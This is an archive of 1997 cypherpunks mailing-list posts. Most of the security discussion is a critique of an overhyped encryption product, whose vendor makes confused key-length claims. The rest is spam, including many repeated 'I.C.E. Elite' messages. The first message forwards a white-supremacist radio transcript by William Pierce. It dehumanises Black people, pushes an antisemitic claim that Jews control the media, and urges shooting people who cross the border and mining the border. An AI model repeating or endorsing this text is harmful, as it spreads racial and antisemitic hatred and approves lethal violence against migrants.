From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 10 Jan 1997 05:05:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: American Dissident Voices Weekly Transcripts
In-Reply-To: <32D55699.43C9@dreamon.com>
Message-ID: <Pine.LNX.3.95.970110075700.3480F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


posted for your perusal.
keep all replies to UseNet.

On Thu, 9 Jan 1997, The Bok wrote:

> 
> Non-White Immigration: Death Sentence for America
> 
> by Dr. William L. Pierce 
> Chairman, National Alliance 
> 
> TODAY WE'LL TAKE A LOOK into the future -- a look into what the future
> will be like if we all remain spectators and simply let the present
> course of events continue. 
> 
> And we'll also look at what the future could be if we choose to become
> participants in the historical process instead of merely remaining
> spectators. 
> 
> I will tailor these two visions of the future especially for those of us
> who live in North America -- but in broad outline they will be
> recognizable by all of us, no matter what part of the White world we
> live in. 
> 
> First, let's look at the future we will have if we continue behaving
> just as we are now: if we continue watching TV, paying our taxes, and
> letting the politicians and the controlled media run the country. 
> 
> Consider demographics, for example: the relative numbers of the
> different types of people in America. During the 50 years since the
> Second World War, America has been darkening, has been getting less and
> less White. Immigration from Europe was cut off after the war -- except
> for Jews, of course -- and the floodgates from the non-White world were
> opened. Asians and mestizos have been pouring into the country, both
> legally and illegally. 
> 
> Most of these non-White races breed much faster than Whites do. The
> result has been a steady rise in the percentage of non-White minorities
> in America. If you live on a farm in Kansas or the Dakotas you may not
> have noticed the change. If you live in Florida or California or New
> York, however, you certainly have noticed it. In fact, most of our
> people who live in America's larger cities have had their faces rubbed
> in it. 
> 
> If things continue as they are going now, there is no chance at all that
> this situation will become better. Non-White immigrants will continue
> pouring into America, because no matter how bad things get here,
> conditions will be even worse where these immigrants came from. The
> government will not even try to halt the illegal part of this non-White
> flood, because the government doesn't really want it halted. And the
> non-Whites already here will continue to have more children than the
> Whites. At some time in the next century Whites will become a minority
> in North America. And the flood will continue. 
> 
> And the television propaganda telling us that the flood of non-Whites
> really is a good thing will continue too. The politicians will
> continue to sing the praises of "diversity" and "multiculturalism," in
> tune with the television. We will be told that if we object to
> the flood we are "haters" and "racists." Interracial sex will continue
> to be presented as fashionable by the media. And what was
> a White country 50 years ago will gradually become a Brown country. 
> 
> Of course, even a hundred years from now there may be a few super-rich
> White families who will be able to keep their heads above the flood on
> their own private islands, with their private security forces, but for
> the rest of us there will be no White schools, no White neighborhoods,
> no White clubs or bars or restaurants. We will be submerged: that is,
> our grandchildren will be submerged. That's the way it has been planned,
> and that is the way it will happen -- not may happen, but will happen --
> if we don't interfere: if we just keep watching TV, paying our taxes,
> and voting for the Democrats or the Republicans. 
> 
> Right now I can almost hear the hoots and groans from a million or so
> Politically Correct idiots. "What difference does it make whether
> America is White or Brown?" they are saying. "What difference does it
> make what color our grandchildren are? Color is only skin deep. After
> all, we're all the same; we're all equal." Or, if they're onto the very
> latest Politically Correct fad, they are saying, "There really is no
> such thing as race. Scientists have proved that race is just an illusion
> created by racists to keep us all apart." 
> 
> Really, there is no fad too foolish or too perverse, no opinion too
> contrary to the facts, for these Politically Correct lemmings to
> adopt, once it has been declared fashionable by the controlled media.
> But certainly the lemmings will have their way -- if the rest of us do
> nothing. 
> 
> Or consider crime. The lemmings would have us believe that crime is the
> result of "oppression" and "injustice" by heterosexual White males, and
> that it will disappear as soon as we have a society where no one is
> "discriminated against" and where all of the officially favored
> minorities are given everything they want. I don't think that even the
> lemmings really believe that, but that's what the television has taught
> them to say, and so that's what they say. 
> 
> You and I, on the other hand, understand that as we have given the
> minorities more and more handouts, as we have given them every sort of
> advantage over ourselves -- all sorts of affirmative action preferences
> in admissions to universities and professional schools, in the granting
> of financial aid, in hiring and promotions -- crime has become worse and
> worse. Passing laws requiring us to favor them and prohibiting us from
> discriminating against them in any way has made their behavior steadily
> worse -- not better. 
> 
> It used to be that nearly all crimes committed by Blacks were against
> other Blacks. They knew that if they attacked a White person they would
> be severely punished, and besides, segregation kept them pretty much
> among themselves and didn't give them many opportunities for mischief.
> Now we've taught them that they don't have to fear us or respect us. The
> controlled media have persuaded them that we have oppressed and
> persecuted them and that whatever they do to us serves us right. 
> 
> You know and I know that the crime situation can only become worse in
> the future, if for no other reason than that the number of Blacks and
> other minorities will continue growing. We have only to look to the
> continent of Africa in order to see our own future. Before Europeans
> came to Africa, the Blacks there were eating each other, literally, just
> like the other animals. We outlawed cannibalism among the Blacks, and
> for more than 300 years we tried to teach them the ways of civilization. 
> 
> Then after the Second World War, in a spasm of lunatic egalitarianism,
> we turned our colonies in Africa over to the indigenous Blacks and left
> them to their own devices: no oppression, no persecution, every
> advantage for success. 
> 
> And what happened? The Blacks reverted to their jungle behavior almost
> as soon as we had left. Even in South Africa, which until very recently
> was a civilized, White country, the jungle is reasserting itself. The
> financial capital, Johannesburg, which a couple of years ago was as safe
> and clean as any city in Europe, has become so crime-ridden since the
> handing over of the country to Black rule that its streets are now among
> the most dangerous in the world, with armed Black gangs prowling in
> search of prey by day as well as by night. It may be another 30 or 40
> years before conditions in South Africa resemble those in Rwanda or
> Uganda, but that's exactly where they're headed. 
> 
> And it may take more than 100 years for America to get there, but that's
> where we're headed too. There is a fundamental law of Nature which also
> applies to the historical process. It is the law of entropy. It tells us
> that if we have a highly developed civilization in one part of the world
> and a jungle society in another part of the world, and we place those
> two societies in contact and let the inhabitants of the jungle society
> take a hand in the running of things, the civilization which used to be
> highly developed will soon take on the characteristics of the jungle
> society. Ordered societies become disordered, except where the
> genius for order remains in firm control. The tendency is always toward
> decay, toward dissolution, toward chaos and ruin -- except in those rare
> instances where the vital spark is able to assert itself. When that
> spark is quenched or overwhelmed, decay inevitably sets in. 
> 
> The vital spark I'm talking about, the genius for order, the spirit of
> progress which built our civilization, is European. Of course, Europeans
> aren't the only race with a vital spark. Every people has its own
> variety of organizational genius. The Japanese have theirs, the Chinese
> have theirs, and so on. Actually, every form of life has a peculiar
> genius for organizing the non-living matter in its environment into
> living matter. That's true of worms and viruses, of fish and horses. In
> each case, however, the genius takes a unique form, the spark burns with
> a different brightness. In Black Africa the spark of civilization always
> has been very, very dim. Among our people it has been very bright. Our
> government now, however, under the influence of the controlled
> mass media, is pursuing policies which are guaranteed to extinguish our
> spark, policies which are guaranteed to bring our level of civilization
> down to that in Rwanda or Haiti -- not next year, or even in the next
> decade, but eventually. 
> 
> Haiti is a good example of the law of entropy. In the 18th century Haiti
> was the jewel among the European colonies in the New World. It was clean
> and green and prosperous. It was civilized. It had an efficient
> government, thriving industry and commerce, and law and order. It was a
> French island, a European island. Then came the egalitarian lunacy, the
> sheer democratic madness, of the French Revolution, which declared Black
> slaves and White masters equal. The consequence of this was that the
> French with foresight left Haiti, and the Blacks, having been persuaded
> that they were just as capable as Frenchmen, massacred the rest, hoping
> to have Haiti's riches entirely for themselves. What happened instead,
> of course, was that Haiti's civilization declined within a few years
> from the European level to the African level, and it has remained there
> ever since, despite the fact that the United States Marines went in and
> rebuilt Haiti's entire physical infrastructure and reorganized its
> political system earlier in this century. As soon as the White Marines
> left, in 1934, the Black genius for crime, squalor, and disorder
> asserted itself again. So that's our future, if we just sit back and
> watch: more and more non-Whites, more and more crime and filth and
> disorder, and eventually, a century or two from now, another Haiti on
> the mainland. 
> 
> But we don't have to just sit back and watch. We know how to avoid that
> dismal path of decay and ruin. We know how to solve every problem
> necessary to get us back onto the upward path again. 
> 
> Consider illegal immigration, for example, which is responsible for so
> much of the darkening of America. The government and the controlled
> media pretend that illegal immigration is an insoluble problem. They
> show us on television all the holes which Mexicans have cut in the
> border fence, they show us groups of Mexicans wading across the Rio
> Grande, they show us Mexicans climbing over the fence and running
> through the traffic in San Diego to evade our Border Patrol, and they
> wring their hands and tell us that it's just impossible to stop illegal
> immigration. The government says it's assigning another 100 Border
> Patrol agents in one place and it's building a stronger fence in another
> place, but then the Mexicans just come across some other part of the
> border. The government acts like it just doesn't know what to do, that
> it's just too big a problem, that it would take too much money to solve. 
> 
> But really, that's all just a game calculated to fool the American
> people. The government knows perfectly well how to stop illegal
> immigration, but it doesn't want to stop it. The government just wants
> to make us believe that it's trying its best. But, you know, any of you
> listeners who've had any military experience understand that illegal
> immigration can be stopped easily, quickly, and permanently. Even I,
> who've never been in the Army, can guarantee you that if I were in
> charge of the border between the United States and Mexico I could
> completely halt illegal immigration within 24 hours, and I could keep it
> completely halted with far less expense than that now required to
> operate our Border Patrol. All I would do is authorize Border Patrol
> agents to shoot anyone attempting to cross the border illegally. Two or
> three shootings in the first night, in each sector of the border where
> crossings are frequent, and the word would be out: "Don't try to cross
> the border, unless you want to die."After that, I would spend a couple
> of months erecting a simple fence from San Diego, California, to
> Brownsville, Texas. I'd erect it in two rows 100 feet apart, with mines
> and electronic sensors planted between the rows. I'd have jeep patrols
> along our side of the fence, patrolling at unpredictable times, but with
> never more than an hour between patrols, and I'd have helicopters
> patrolling above. I'd do it all with a permanent Border Patrol force
> along the Mexican border of 5,000 men, and no illegal immigrants would
> get through. None. 
> 
> The lemmings, of course, would be screaming that I am bloodthirsty, that
> I am a murderer, and so on, but really, fewer Mexicans would have to be
> shot trying to come across the border that first night than law-abiding
> Americans are now being murdered each year by illegal-alien criminals in
> California and Texas. 
> 
> I guess we all tend to be a bit selective in our sympathies. I have
> sympathy for my own people, for the victims of Mexican criminals, and
> the lemmings have sympathy for the criminals. They're Politically
> Correct, and I'm Politically Incorrect. But I would stop illegal
> immigration, painlessly and cleanly, and they prefer to believe that it
> can't be done. 
> 
> The problem of the illegal aliens already in America also can be solved.
> So can the race problem. These problems are more difficult and will
> require a much larger effort than the problem of illegal immigration,
> but the cost of solving them now is infinitesimal compared to the
> long-term cost of failing to solve them. All we need to solve these
> problems is the will to survive as a people, the will to build the basis
> for a progressive future for our kind, the will to avoid ending up like
> Haiti or Rwanda a couple of centuries hence. 
> 
> Of course, we all know that one thing couch potatoes don't have is will.
> People who've been raised on television, who've grown up with a
> spectator's attitude toward the world around them, certainly aren't
> going to stir themselves just to ensure a future for their
> grandchildren. Instead, they're just going to reach for the potato chips
> and keep on watching. Spectators don't count. The people who do count
> are in two relatively small groups. In one group are you and I and the
> others who care enough about the future of our people to do something
> about it: in fact, to do whatever it takes. 
> 
> In the other group are the people who control the mass media, plus their
> collaborators in the government, in the mainstream churches, in the
> universities, in finance and industry, and in the other institutions of
> our society. 
> 
> You know who controls the mass media. Many of you also know why they
> don't want the problem of illegal immigration and the other problems
> threatening our future to be solved. They are Jews, and throughout their
> whole history they have lived by two principles: first, always be loyal
> to your fellow Jews; and second, always remember that anyone who is not
> a Jew is your enemy; never forget and never forgive. 
> 
> Their collaborators in the government and other institutions are
> individuals who have no sense of loyalty to our people and who have a
> vested interest in following the lead of the Jews. Some of them are
> office holders who understand that they hold their offices at the
> pleasure of those who control the mass media, those who control public
> opinion, those who control votes. Most of these collaborators have no
> sense of responsibility to anyone but themselves. 
> 
> Typical of these is a man who is a friend of an acquaintance of mine; he
> is an assistant district attorney in New York City, a man who
> understands what's going on but who doesn't really care. When challenged
> to take a stand for his own people, he said: "Look. Everyone around here
> knows that the Jews are running the government. It's too bad, but
> there's nothing we can do about it. I've got to look out for myself. I
> have a career and a family to think about. If I want to get ahead, I
> have to collaborate." 
> 
> Unfortunately, there are many, many others among our people who have no
> more sense of personal honor or responsibility than this New York City
> assistant prosecutor. It is a great shame for us. We really need to
> purge ourselves of this shame some day. 
> 
> Meanwhile, we can take some comfort in the knowledge that such people,
> who have no loyalty to anyone but themselves, are always ready to switch
> sides as soon as they see the tide turning. The tide is not yet turning
> -- at least, not enough for people like that assistant district attorney
> in New York to notice. The swarm of Brown immigrants from Mexico is
> still growing from week to week, and our government is still making only
> the most transparent pretense of trying to stop them. The couch
> potatoes are as passive as ever, and the Politically Correct lemmings
> are as idiotic as ever. 
> 
> Changes are beginning to take place, however. 
> 
> Our weekly radio programs are reaching more and more people. People who
> hear us telling the truth are emboldened to tell the truth themselves. 
> 
> The ripples of truth are spreading. Soon those ripples will become
> waves. And one day the storm will break loose over this land.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success@joblynx.com
Date: Fri, 10 Jan 1997 06:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2300 Headhunters Searching for YOU
Message-ID: <199701101418.IAA05836@admin.itol.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,


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a person with your qualifications would benefit from 
the services of our 2300 Professional Recruiters.

Your resume can be registered on the Internet at our award 
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Best wishes.  


Sincerely,

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President of JobLynx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 10 Jan 1997 09:18:56 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <199701100535.XAA00734@smoke.suba.com>
Message-ID: <199701101717.JAA31508@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


snow writes:
> 
> > Also: The AOL web site address my company has may not always work out when
> > the server is having problems or user overloads. Please try again later.
> > Again, the web site address for UDCM, Universal Data Cryptography Module, is:
> > http://members.aol.com/DataETRsch/udcm.html.
> 
>      For $100 up front, and about $40 a month you can get a real domain name
> and virtual domain that doesn't have a problem with "user overloads". If 
> you are so high tech, why are you using AOL for a WEB SERVER? (this is a 
> seperate issue from using it for _access_)

You would think that a company that could issue "$1,250,000 in collateral
backed zero-coupon bonds" would be able to afford a real web site.

 
> > IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> > Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> > yes, many algorithms do *not* have multiple encryption layers, although,
> > obviously, the more advanced ones do.

Obviously.

> Also, 256 bytes is equal to 2048 bits.

Thank you, I was wondering about that.

> > I realize that most of you out there know that, but some of you don't. "Bits"
> > are referenced more often than "bytes". And, the "industry standard" that
> > IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,

"industry standard"?  Which one, pray tell?


> > Are all of you out there satisfied?

No, not until your algorithm is made public and has been reviewed
by people who know what they are doing.  Most prudent crypto application
developers wait a few years after a new algorithm has been made public
to see if someone discovers flaws in it.

Unfortunately for you, the way you are announcing and promoting your
program makes it could like cryptographic snake oil.  Posting
such announcements to the cypherpunks list is a good way to get flamed.
Perhaps you should have posted to alt.biz.multi-level, where the
threshold of credulity is much higher.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ubs95@earthlink.net
Date: Fri, 10 Jan 1997 09:30:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: business marketing
Message-ID: <199701101730.JAA23760@finland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,



I saw your posting online and was wondering if you market products/services using your computer and would like to learn how to do so QUITE a bit better than what you are already doing?

I use to use Floodgate, and I have come accross something that has really put this to shame!  If you would like to see the information, just reply back at UBS95@IX.NETCOM.COM with the message:  "No Flame" and I will send you the file that could mean the difference between success and failure in the online marketing world.

Please do not hit reply......Just send your inquires to:  ubs95@ix.netcom.com and include a note: "No Flame".  Thank you!

Sincerely,
Carol Miller


	"You can give a man a fish, but it is far better to	
	 teach a man how to fish"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Fri, 10 Jan 1997 07:06:04 -0800 (PST)
To: DataETRsch@aol.com
Subject: RE: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <n1359231642.25627@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com sez:
>Comment: "Why the hell is the file size limit 258 bytes off? What, are keys
>kept in file headers?"
>Reply: Keys are NOT stored in headers. The 258 (actually 256) byte header is
>used to store certain IMDMP special security option settings. The header is
>itself secured using a 128-bit encryption code.

[My apologies in advance for not having looked at your web site]
What security option settings are in the header?  What kind of security would
be lost by knowing its contents?  I assume there is some sort of risk, hence
the encryption of the header.  When is the header decrypted?  Where is it
decrypted to?  If it is decrypted into memory before use, one could read
the plaintext straight from memory.  Is the key for the header static (same
for all files), or changing?

I assume that when the source code becomes available, you will disclose the
structure of the file header...

How will the source code be distributed?

Thank you for your time.

Patrick Mullen

Patrick.Mullen@gsc.gte.com (preferred email for non-list email)





_______________________________________________________________________________
From: DataETRsch@aol.com on Fri, Jan 10, 1997 0:46
Subject: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
To: cypherpunks@toad.com

Hello,

In compliance with the large volume of source code requests DataET Research
has been receiving, the undocumented Pascal source code of UDCM (containing
the IMDMP encryption algorithm) will be released in approximately one month.
Also, the shareware version of UDCM completely complies with ITAR since only
56-bit keys are allowed. The registered version allows 2048-bit keys. The
registered version can only be sold within the U.S. and Canada. Also:

IN RESPONSE TO THE FLAME MAIL DATAET RESEARCH HAS RECEIVED:

A "comment:" is from a flame mail. A "reply:" is DataET Research's reply to
the comment.

Comment: "What do you mean by 'extensive research'."
Reply: Benchmark tests. Source code comparisons. Documentations of other
algorithms. "Applied Cryptography".

Comment: "Yah, okay, since when is a DLL not royalty-free?!"
Reply: Read some component catalogs. Go search the Internet.

Comment: "That stupid line about 140 function bloats your ad."
Reply: Is this constructive criticism or what?

Comment: "What the hell does DLL size have to do with cost-effectiveness?"
Reply: Upload time. Disk creation time. Minimal archive size increase.

Comment: "I've never even heard of IMDMP before. Is this a joke?"
Reply: UDCM (IMDMP) came out January 1st, 1997. How do you think successful
companies start anyway, with millions of dollars upfront? DataET Research is
a relatively new company.

Comment: "What kind of industry standard is IMDMP above?"
Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?

Comment: "Any bonehead can tell that 256 bytes is 2048 bits."
Reply: Does anybody out there feel insulted?

Comment: "Why does IMDMP need sub-algorithms? Is there something wrong?"
Reply: Sub-algorithms of IMDMP are basically algorithm modes. There is
nothing wrong with IMDMP's structure. Why don't you see what sub-algorithms
are for yourself? Go try out UDCM:
http://members.aol.com/dataetrsch/udcm.html.

Comment: "What algorithm doesn't process both binary and ASCII?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "What algorithm doesn't allow multiple encryption layers?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "Who says IMDMP doesn't have any back-doors or magical keys?"
Reply: What more do you want us to prove? The source code will be out in
about a month.

Comment: "Why is there a dumb 2,147,483,390 file size limit?"
Reply: It has do with 2^32 DOS file pointer long integer variables. You
developers should know that.

Comment: "Why the hell is the file size limit 258 bytes off? What, are keys
kept in file headers?"
Reply: Keys are NOT stored in headers. The 258 (actually 256) byte header is
used to store certain IMDMP special security option settings. The header is
itself secured using a 128-bit encryption code.

Comment: "What the do you mean by 'file specific unique encryption'."
Reply: For the idiot who sent this message to us: Why don't you download UDCM
V2.0 and view its documentation for yourself?

Comment: "Isn't IMDMP illegal?!"
Reply: The version of UDCM (IMDMP) being distributed on the Internet, the
shareware version, allows only 56-bit keys. The registered version allows
2048-bit ones. The registered version is only sold within the U.S. and
Canada.

Comment: "I want the damn source code to IMDMP now. How do we know for sure
that IMDMP is better than DES and all the others you mentioned?"
Reply: Wait one month please.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies

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From: DataETRsch@aol.com
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	  Thu, 9 Jan 1997 20:14:20 -0500 (EST)
Date: Thu, 9 Jan 1997 20:14:20 -0500 (EST)
Message-ID: <970109201419_1207964145@emout18.mail.aol.com>
To: cypherpunks@toad.com
Subject: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 08:51:03 -0800 (PST)
To: Mullen.Patrick@mail.ndhm.gtegsc.com (Mullen Patrick)
Subject: Re: encryption program
In-Reply-To: <n1359225878.73908@mail.ndhm.gtegsc.com>
Message-ID: <199701101642.KAA11229@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mullen Patrick wrote:
> 
> I'm looking for ciphertext analysis tools --
> 
> What analysis tools did you use?  Where can I get a publicly available copy?
> 

I just wrote a little c program for frequency analysis, but would
also be interested if such set of tools existed.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:21 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12428@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:41 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12364@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:21:17 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12233@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:35 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101907.OAA12226@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:15 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101910.OAA12471@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:35 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12299@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:19 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12314@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
Homepage:www.geocities.com/~pentiumru/icehtml.htm
We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:56 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12305@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:23 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12433@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:25 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12294@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:20:04 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12292@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:52 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12384@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:17:53 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12385@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:29 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101910.OAA12460@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:21:01 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12306@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:03 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12397@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


